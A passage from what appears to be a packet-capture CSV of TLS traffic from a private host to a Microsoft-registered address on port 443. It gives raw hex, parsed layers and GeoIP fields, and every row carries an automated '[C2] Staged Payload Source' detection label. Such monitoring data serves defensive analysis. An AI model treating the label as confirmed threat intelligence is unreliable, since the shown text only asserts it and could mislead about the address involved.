\\\xad4\\\\x9a\\\\x1c\\\\xda\\\\x08\\\\xb5\\\\xca%\\\\xbcG\\\\xa4=\\\\xbb:s\\\\xa8\\\\xcf\\\\xcb5\\\\xe0hY\\\\xb1\\\\xfdx#\\\\xbc\\\\x05\\\\x84\\\\x82\\\\xb6\\\\xd12K&\\\\xba1\\\\x93\\\\xec\\\\xf5\\\\xdd\\\\\\\\\\\\x85W\\\\xe5\\\\xfc\\\\x14p<\\\\xc0\\\\xb1_n\\\\x1aDk\\\\xea' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-29 14:29:01.539992,8,TCP 192.168.122.168:49899 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49899,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3881783804 Ack=1692602478,525400577f945254007bb79208004500008bb704000080062953c0a87aa804d519f0c2eb01bbe75f51fc64e3106e501804055a930000170303005e0000000000000007b53f31508341fcdc28be147f2c7379aea49a21a6e7b2682de408581817ae4a3bb6c743daed53db5b255727366006505c06871f13a980c735cafc54b5ddac2fdb1fadb6e73a0afcfb0ca4e560fa9347b507841401ca5c,\"RT.W..RT.{....E.........)S..z.........._Q.d..nP...Z.......^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......5..T.../.....:\n.....`..G......\\\",[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 139, \"\"id\"\": 46852, \"\"flags\"\": \"\"\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 10579, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49899, \"\"dport\"\": 443, \"\"seq\"\": 3881783804, \"\"ack\"\": 1692602478, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1029, \"\"chksum\"\": 23187, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 94, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x07\\\\xb5?1P\\\\x83A\\\\xfc\\\\xdc(\\\\xbe\\\\x14\\\\x7f,sy\\\\xae\\\\xa4\\\\x9a!\\\\xa6\\\\xe7\\\\xb2h-\\\\xe4\\\\x08X\\\\x18\\\\x17\\\\xaeJ;\\\\xb6\\\\xc7C\\\\xda\\\\xedS\\\\xdb[%W'6`\\\\x06P\\\\\\\\\\\\x06\\\\x87\\\\x1f\\\\x13\\\\xa9\\\\x80\\\\xc75\\\\xca\\\\xfcT\\\\xb5\\\\xdd\\\\xac/\\\\xdb\\\\x1f\\\\xad\\\\xb6\\\\xe7:\\\\n\\\\xfc\\\\xfb\\\\x0c\\\\xa4\\\\xe5`\\\\xfa\\\\x93G\\\\xb5\\\\x07\\\\x84\\\\x14\\\\x01\\\\xca\\\\\\\\\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-29 14:29:02.650424,9,TCP 192.168.122.168:49892 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49892,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3334411157 Ack=1369756557,525400577f945254007bb792080045000120b7050000800628bdc0a87aa804d519f0c2e401bbc6bf139551a4d38d501804045b28000017030300f30000000000000009b6181eed91be740eaba4bf0aeb2569c3b7985720e33bf054bd78109fd5c6d9a1c834fc1b078e2ee824ed03ce36c87b082e68e9c031b2e00ef7ce30f686c0c53a57ae7725ee85af8450a9656201fe37c8becf019f5a717fdced5325dcbf0647c16ff4231009f316895d38239c90c40d298f461ab61c30c98bf602b25ede2297265a953bc66b932e37efe45c7f7d091de46099e7c1c56580552a13c8c84e7adf356e7fb0aac6fb739d5c579e9c49755ec8f2ad349a1cda08b5ca25bc47a43dbb3a73a8cfcb35e06859b1fd7823bc058482b6d1324b26ba3193ecf5dd5c8557e5fc14703cc0b15f6e1a446bea,\"RT.W..RT.{....E.. ......(...z.............Q...P...[(..............\t......t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....:W.w%....P.eb..7.....Zq...S%...G.o.#.\t...]8#...\n).F...0.....^.\"\".&Z.;.k..7..\\.}\t..`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1....\\.W...p<.._n.Dk.\",[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 288, \"\"id\"\": 46853, \"\"flags\"\": \"\"\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 10429, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49892, \"\"dport\"\": 443, \"\"seq\"\": 3334411157, \"\"ack\"\": 1369756557, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1028, \"\"chksum\"\": 23336, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 243, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\t\\\\xb6\\\\x18\\\\x1e\\\\xed\\\\x91\\\\xbet\\\\x0e\\\\xab\\\\xa4\\\\xbf\\\\n\\\\xeb%i\\\\xc3\\\\xb7\\\\x98W \\\\xe3;\\\\xf0T\\\\xbdx\\\\x10\\\\x9f\\\\xd5\\\\xc6\\\\xd9\\\\xa1\\\\xc84\\\\xfc\\\\x1b\\\\x07\\\\x8e.\\\\xe8$\\\\xed\\\\x03\\\\xce6\\\\xc8{\\\\x08.h\\\\xe9\\\\xc01\\\\xb2\\\\xe0\\\\x0e\\\\xf7\\\\xce0\\\\xf6\\\\x86\\\\xc0\\\\xc5:W\\\\xaew%\\\\xee\\\\x85\\\\xaf\\\\x84P\\\\xa9eb\\\\x01\\\\xfe7\\\\xc8\\\\xbe\\\\xcf\\\\x01\\\\x9fZq\\\\x7f\\\\xdc\\\\xedS%\\\\xdc\\\\xbf\\\\x06G\\\\xc1o\\\\xf4#\\\\x10\\\\t\\\\xf3\\\\x16\\\\x89]8#\\\\x9c\\\\x90\\\\xc4\\\\r)\\\\x8fF\\\\x1a\\\\xb6\\\\x1c0\\\\xc9\\\\x8b\\\\xf6\\\\x02\\\\xb2^\\\\xde\\\"\"\\\\x97&Z\\\\x95;\\\\xc6k\\\\x93.7\\\\xef\\\\xe4\\\\\\\\\\\\x7f}\\\\t\\\\x1d\\\\xe4`\\\\x99\\\\xe7\\\\xc1\\\\xc5e\\\\x80U*\\\\x13\\\\xc8\\\\xc8Nz\\\\xdf5n\\\\x7f\\\\xb0\\\\xaa\\\\xc6\\\\xfbs\\\\x9d\\\\\\\\W\\\\x9e\\\\x9cIu^\\\\xc8\\\\xf2\\\\xad4\\\\x9a\\\\x1c\\\\xda\\\\x08\\\\xb5\\\\xca%\\\\xbcG\\\\xa4=\\\\xbb:s\\\\xa8\\\\xcf\\\\xcb5\\\\xe0hY\\\\xb1\\\\xfdx#\\\\xbc\\\\x05\\\\x84\\\\x82\\\\xb6\\\\xd12K&\\\\xba1\\\\x93\\\\xec\\\\xf5\\\\xdd\\\\\\\\\\\\x85W\\\\xe5\\\\xfc\\\\x14p<\\\\xc0\\\\xb1_n\\\\x1aDk\\\\xea' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-29 14:29:02.744187,10,TCP 192.168.122.168:49899 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49899,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3881783804 Ack=1692602478,525400577f945254007bb79208004500008bb70640008006e950c0a87aa804d519f0c2eb01bbe75f51fc64e3106e501804055a930000170303005e0000000000000007b53f31508341fcdc28be147f2c7379aea49a21a6e7b2682de408581817ae4a3bb6c743daed53db5b255727366006505c06871f13a980c735cafc54b5ddac2fdb1fadb6e73a0afcfb0ca4e560fa9347b507841401ca5c,\"RT.W..RT.{....E.....@....P..z.........._Q.d..nP...Z.......^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......5..T.../.....:\n.....`..G......\\\",[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 139, \"\"id\"\": 46854, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59728, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49899, \"\"dport\"\": 443, \"\"seq\"\": 3881783804, \"\"ack\"\": 1692602478, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1029, \"\"chksum\"\": 23187, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 94, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x07\\\\xb5?1P\\\\x83A\\\\xfc\\\\xdc(\\\\xbe\\\\x14\\\\x7f,sy\\\\xae\\\\xa4\\\\x9a!\\\\xa6\\\\xe7\\\\xb2h-\\\\xe4\\\\x08X\\\\x18\\\\x17\\\\xaeJ;\\\\xb6\\\\xc7C\\\\xda\\\\xedS\\\\xdb[%W'6`\\\\x06P\\\\\\\\\\\\x06\\\\x87\\\\x1f\\\\x13\\\\xa9\\\\x80\\\\xc75\\\\xca\\\\xfcT\\\\xb5\\\\xdd\\\\xac/\\\\xdb\\\\x1f\\\\xad\\\\xb6\\\\xe7:\\\\n\\\\xfc\\\\xfb\\\\x0c\\\\xa4\\\\xe5`\\\\xfa\\\\x93G\\\\xb5\\\\x07\\\\x84\\\\x14\\\\x01\\\\xca\\\\\\\\\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-29 14:29:03.853568,11,TCP 192.168.122.168:49892 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49892,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3334411157 Ack=1369756557,525400577f945254007bb792080045000120b7070000800628bbc0a87aa804d519f0c2e401bbc6bf139551a4d38d501804045b28000017030300f30000000000000009b6181eed91be740eaba4bf0aeb2569c3b7985720e33bf054bd78109fd5c6d9a1c834fc1b078e2ee824ed03ce36c87b082e68e9c031b2e00ef7ce30f686c0c53a57ae7725ee85af8450a9656201fe37c8becf019f5a717fdced5325dcbf0647c16ff4231009f316895d38239c90c40d298f461ab61c30c98bf602b25ede2297265a953bc66b932e37efe45c7f7d091de46099e7c1c56580552a13c8c84e7adf356e7fb0aac6fb739d5c579e9c49755ec8f2ad349a1cda08b5ca25bc47a43dbb3a73a8cfcb35e06859b1fd7823bc058482b6d1324b26ba3193ecf5dd5c8557e5fc14703cc0b15f6e1a446bea,\"RT.W..RT.{....E.. ......(...z.............Q...P...[(..............\t......t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....:W.w%....P.eb..7.....Zq...S%...G.o.#.\t...]8#...\n).F...0.....^.\"\".&Z.;.k..7..\\.}\t..`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1....\\.W...p<.._n.Dk.\",[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 288, \"\"id\"\": 46855, \"\"flags\"\": \"\"\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 10427, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49892, \"\"dport\"\": 443, \"\"seq\"\": 3334411157, \"\"ack\"\": 1369756557, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1028, \"\"chksum\"\": 23336, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 243, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\t\\\\xb6\\\\x18\\\\x1e\\\\xed\\\\x91\\\\xbet\\\\x0e\\\\xab\\\\xa4\\\\xbf\\\\n\\\\xeb%i\\\\xc3\\\\xb7\\\\x98W \\\\xe3;\\\\xf0T\\\\xbdx\\\\x10\\\\x9f\\\\xd5\\\\xc6\\\\xd9\\\\xa1\\\\xc84\\\\xfc\\\\x1b\\\\x07\\\\x8e.\\\\xe8$\\\\xed\\\\x03\\\\xce6\\\\xc8{\\\\x08.h\\\\xe9\\\\xc01\\\\xb2\\\\xe0\\\\x0e\\\\xf7\\\\xce0\\\\xf6\\\\x86\\\\xc0\\\\xc5:W\\\\xaew%\\\\xee\\\\x85\\\\xaf\\\\x84P\\\\xa9eb\\\\x01\\\\xfe7\\\\xc8\\\\xbe\\\\xcf\\\\x01\\\\x9fZq\\\\x7f\\\\xdc\\\\xedS%\\\\xdc\\\\xbf\\\\x06G\\\\xc1o\\\\xf4#\\\\x10\\\\t\\\\xf3\\\\x16\\\\x89]8#\\\\x9c\\\\x90\\\\xc4\\\\r)\\\\x8fF\\\\x1a\\\\xb6\\\\x1c0\\\\xc9\\\\x8b\\\\xf6\\\\x02\\\\xb2^\\\\xde\\\"\"\\\\x97&Z\\\\x95;\\\\xc6k\\\\x93.7\\\\xef\\\\xe4\\\\\\\\\\\\x7f}\\\\t\\\\x1d\\\\xe4`\\\\x99\\\\xe7\\\\xc1\\\\xc5e\\\\x80U*\\\\x13\\\\xc8\\\\xc8Nz\\\\xdf5n\\\\x7f\\\\xb0\\\\xaa\\\\xc6\\\\xfbs\\\\x9d\\\\\\\\W\\\\x9e\\\\x9cIu^\\\\xc8\\\\xf2\\\\xad4\\\\x9a\\\\x1c\\\\xda\\\\x08\\\\xb5\\\\xca%\\\\xbcG\\\\xa4=\\\\xbb:s\\\\xa8\\\\xcf\\\\xcb5\\\\xe0hY\\\\xb1\\\\xfdx#\\\\xbc\\\\x05\\\\x84\\\\x82\\\\xb6\\\\xd12K&\\\\xba1\\\\x93\\\\xec\\\\xf5\\\\xdd\\\\\\\\\\\\x85W\\\\xe5\\\\xfc\\\\x14p<\\\\xc0\\\\xb1_n\\\\x1aDk\\\\xea' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-29 14:29:05.054065,12,TCP 192.168.122.168:49892 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49892,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3334411157 Ack=1369756557,525400577f945254007bb792080045000120b70840008006e8b9c0a87aa804d519f0c2e401bbc6bf139551a4d38d501804045b28000017030300f30000000000000009b6181eed91be740eaba4bf0aeb2569c3b7985720e33bf054bd78109fd5c6d9a1c834fc1b078e2ee824ed03ce36c87b082e68e9c031b2e00ef7ce30f686c0c53a57ae7725ee85af8450a9656201fe37c8becf019f5a717fdced5325dcbf0647c16ff4231009f316895d38239c90c40d298f461ab61c30c98bf602b25ede2297265a953bc66b932e37efe45c7f7d091de46099e7c1c56580552a13c8c84e7adf356e7fb0aac6fb739d5c579e9c49755ec8f2ad349a1cda08b5ca25bc47a43dbb3a73a8cfcb35e06859b1fd7823bc058482b6d1324b26ba3193ecf5dd5c8557e5fc14703cc0b15f6e1a446bea,\"RT.W..RT.{....E.. ..@.......z.............Q...P...[(..............\t......t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....:W.w%....P.eb..7.....Zq...S%...G.o.#.\t...]8#...\n).F...0.....^.\"\".&Z.;.k..7..\\.}\t..`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1....\\.W...p<.._n.Dk.\",[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 288, \"\"id\"\": 46856, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59577, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49892, \"\"dport\"\": 443, \"\"seq\"\": 3334411157, \"\"ack\"\": 1369756557, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1028, \"\"chksum\"\": 23336, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 243, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\t\\\\xb6\\\\x18\\\\x1e\\\\xed\\\\x91\\\\xbet\\\\x0e\\\\xab\\\\xa4\\\\xbf\\\\n\\\\xeb%i\\\\xc3\\\\xb7\\\\x98W \\\\xe3;\\\\xf0T\\\\xbdx\\\\x10\\\\x9f\\\\xd5\\\\xc6\\\\xd9\\\\xa1\\\\xc84\\\\xfc\\\\x1b\\\\x07\\\\x8e.\\\\xe8$\\\\xed\\\\x03\\\\xce6\\\\xc8{\\\\x08.h\\\\xe9\\\\xc01\\\\xb2\\\\xe0\\\\x0e\\\\xf7\\\\xce0\\\\xf6\\\\x86\\\\xc0\\\\xc5:W\\\\xaew%\\\\xee\\\\x85\\\\xaf\\\\x84P\\\\xa9eb\\\\x01\\\\xfe7\\\\xc8\\\\xbe\\\\xcf\\\\x01\\\\x9fZq\\\\x7f\\\\xdc\\\\xedS%\\\\xdc\\\\xbf\\\\x06G\\\\xc1o\\\\xf4#\\\\x10\\\\t\\\\xf3\\\\x16\\\\x89]8#\\\\x9c\\\\x90\\\\xc4\\\\r)\\\\x8fF\\\\x1a\\\\xb6\\\\x1c0\\\\xc9\\\\x8b\\\\xf6\\\\x02\\\\xb2^\\\\xde\\\"\"\\\\x97&Z\\\\x95;\\\\xc6k\\\\x93.7\\\\xef\\\\xe4\\\\\\\\\\\\x7f}\\\\t\\\\x1d\\\\xe4`\\\\x99\\\\xe7\\\\xc1\\\\xc5e\\\\x80U*\\\\x13\\\\xc8\\\\xc8Nz\\\\xdf5n\\\\x7f\\\\xb0\\\\xaa\\\\xc6\\\\xfbs\\\\x9d\\\\\\\\W\\\\x9e\\\\x9cIu^\\\\xc8\\\\xf2\\\\xad4\\\\x9a\\\\x1c\\\\xda\\\\x08\\\\xb5\\\\xca%\\\\xbcG\\\\xa4=\\\\xbb:s\\\\xa8\\\\xcf\\\\xcb5\\\\xe0hY\\\\xb1\\\\xfdx#\\\\xbc\\\\x05\\\\x84\\\\x82\\\\xb6\\\\xd12K&\\\\xba1\\\\x93\\\\xec\\\\xf5\\\\xdd\\\\\\\\\\\\x85W\\\\xe5\\\\xfc\\\\x14p<\\\\xc0\\\\xb1_n\\\\x1aDk\\\\xea' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-29 14:29:05.147772,13,TCP 192.168.122.168:49899 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49899,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3881783804 Ack=1692602478,525400577f945254007bb79208004500008bb70940008006e94dc0a87aa804d519f0c2eb01bbe75f51fc64e3106e501804055a930000170303005e0000000000000007b53f31508341fcdc28be147f2c7379aea49a21a6e7b2682de408581817ae4a3bb6c743daed53db5b255727366006505c06871f13a980c735cafc54b5ddac2fdb1fadb6e73a0afcfb0ca4e560fa9347b507841401ca5c,\"RT.W..RT.{....E....\t@....M..z.........._Q.d..nP...Z.......^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......5..T.../.....:\n.....`..G......\\\",[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 139, \"\"id\"\": 46857, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59725, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49899, \"\"dport\"\": 443, \"\"seq\"\": 3881783804, \"\"ack\"\": 1692602478, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1029, \"\"chksum\"\": 23187, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 94, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x07\\\\xb5?1P\\\\x83A\\\\xfc\\\\xdc(\\\\xbe\\\\x14\\\\x7f,sy\\\\xae\\\\xa4\\\\x9a!\\\\xa6\\\\xe7\\\\xb2h-\\\\xe4\\\\x08X\\\\x18\\\\x17\\\\xaeJ;\\\\xb6\\\\xc7C\\\\xda\\\\xedS\\\\xdb[%W'6`\\\\x06P\\\\\\\\\\\\x06\\\\x87\\\\x1f\\\\x13\\\\xa9\\\\x80\\\\xc75\\\\xca\\\\xfcT\\\\xb5\\\\xdd\\\\xac/\\\\xdb\\\\x1f\\\\xad\\\\xb6\\\\xe7:\\\\n\\\\xfc\\\\xfb\\\\x0c\\\\xa4\\\\xe5`\\\\xfa\\\\x93G\\\\xb5\\\\x07\\\\x84\\\\x14\\\\x01\\\\xca\\\\\\\\\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-29 14:29:07.462651,14,TCP 192.168.122.168:49892 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49892,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3334411157 Ack=1369756557,525400577f945254007bb792080045000120b70a40008006e8b7c0a87aa804d519f0c2e401bbc6bf139551a4d38d501804045b28000017030300f30000000000000009b6181eed91be740eaba4bf0aeb2569c3b7985720e33bf054bd78109fd5c6d9a1c834fc1b078e2ee824ed03ce36c87b082e68e9c031b2e00ef7ce30f686c0c53a57ae7725ee85af8450a9656201fe37c8becf019f5a717fdced5325dcbf0647c16ff4231009f316895d38239c90c40d298f461ab61c30c98bf602b25ede2297265a953bc66b932e37efe45c7f7d091de46099e7c1c56580552a13c8c84e7adf356e7fb0aac6fb739d5c579e9c49755ec8f2ad349a1cda08b5ca25bc47a43dbb3a73a8cfcb35e06859b1fd7823bc058482b6d1324b26ba3193ecf5dd5c8557e5fc14703cc0b15f6e1a446bea,\"RT.W..RT.{....E.. .\n@.......z.............Q...P...[(..............\t......t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....:W.w%....P.eb..7.....Zq...S%...G.o.#.\t...]8#...\n).F...0.....^.\"\".&Z.;.k..7..\\.}\t..`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1....\\.W...p<.._n.Dk.\",[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 288, \"\"id\"\": 46858, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59575, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49892, \"\"dport\"\": 443, \"\"seq\"\": 3334411157, \"\"ack\"\": 1369756557, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1028, \"\"chksum\"\": 23336, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 243, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\t\\\\xb6\\\\x18\\\\x1e\\\\xed\\\\x91\\\\xbet\\\\x0e\\\\xab\\\\xa4\\\\xbf\\\\n\\\\xeb%i\\\\xc3\\\\xb7\\\\x98W 